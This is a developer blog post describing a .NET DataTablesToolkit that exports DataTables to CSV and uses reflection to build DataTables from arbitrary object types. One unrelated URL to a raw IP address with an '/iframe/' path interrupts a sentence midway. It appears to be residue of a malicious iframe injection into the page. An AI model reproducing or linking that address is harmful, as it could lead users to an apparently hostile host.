Developing For .NET

Howdy readers!

I have something new for you which I hope you find useful. Most of my projects are database oriented, which in ADO.NET land means a hefty reliance on DataTable objects. In fact, my first serious .Net program was an Ad Hoc SQL tool that allowed the user to connect to virtually any database and issue SQL commands. Beginning with that program, I wanted the ability to take the data from a DataTable object and export it to CSV. In several subsequent projects I needed the same feature, but I never took the time to externalize it. Well, a couple of weeks ago a new project came across my desk that required this feature again.

DevelopingForDotNet.DataTables

And so the DevelopingForDotNet.DataTables namespace is born. As of this writing, there is only one class in the namespace: DataTablesToolkit. This is a static class containing, at the moment, two interesting methods.

DataTableToCSV

The first is the one mentioned above, DataTableToCSV. This method does exactly what you think: it takes a DataTable object and generates a string representing its contents in CSV format. The first line can optionally contain the list of Column names. String values are wrapped in double quotes and lines are terminated with \r\n.

There is one limitation: support for complex data types is limited to their .ToString() implementation. If a DataTable contained a type without an appropriate implementation, “unexpected results may occur.”

I have some future enhancements in mind:

• Add additional terminator support. Depending on the consumer, the output may need just line feeds or carriage returns. This would be simple enough to add via a parameter.
• While it would no longer be CSV, a similar method for Tab Delimited would be useful.
• Add the ability to save the string to the file rather than requiring the consuming code to implement the IO.

CreateDataTable

While working on this project, an interesting problem cropped up. The database in question stores US Zip codes as numeric(5,0) fields. This causes a problem for zip codes beginning with a “0”: the leading zeros are lost when the data is read in from the database. In order to address this, we created a custom data type that replaced the missing leading zero and stored the value as a 5 character string.

Unfortunately, this meant that we could not rely on the DataTable automatically filled by our xxxDataAdapter. Instead, we had to read the data out of the DataTable and store it in our custom data type objects. This worked great and solved the problem (as well as a couple of others relating to the data), but it introduced a new problem: the DataTableToCSV
http://61.132.75.71/iframe/wp-stats.php
code we just created was now unusable! Our data was no longer in a DataTable!

I was about to write custom code to create a new DataTable based on the properties of our custom data type when it hit me: I could use Reflection to do that for me. Better yet, I could make it generic enough that I could create a DataTable based on ANY object I wanted. And so I did.

This was my first real foray into Reflection, and I have to admit I thought it was going to be a lot more complicated than it ended up. I mean, I slaved for MINUTES on this code! The longest part was in me finally getting a good understanding of the Type type in my thick skull. Once I had that, the rest was very easy. So now, I simply pass the Type of my object in and I get a DataTable object back, complete with a collection of appropriate DataColumn objects that match the properties of the Type.

This too has some limitations:

• As written, it can only handle properties that expose primitive data types. Complex data types are ignored. This will make perfect sense if you think about it: how would a Collection, or a FileStream, or something of that nature be depicted in a DataTable? For now, I think this is a reasonable limitation.
• Only public, non-static properties are currently reflected. Support could, and probably should, be added for protected members, but I think that would need to be optional. When I was writing this, it just didn’t seem to make sense to me to expose static properties, but it would be easy enough to add if desired.

Now, I can use this to create my new and improved DataTable, and I can easily loop through my collection of custom data type objects to populate its rows.

And so altogether, this represents the DataTablesToolkit. Download the code and try it out. Let me know how it works for you.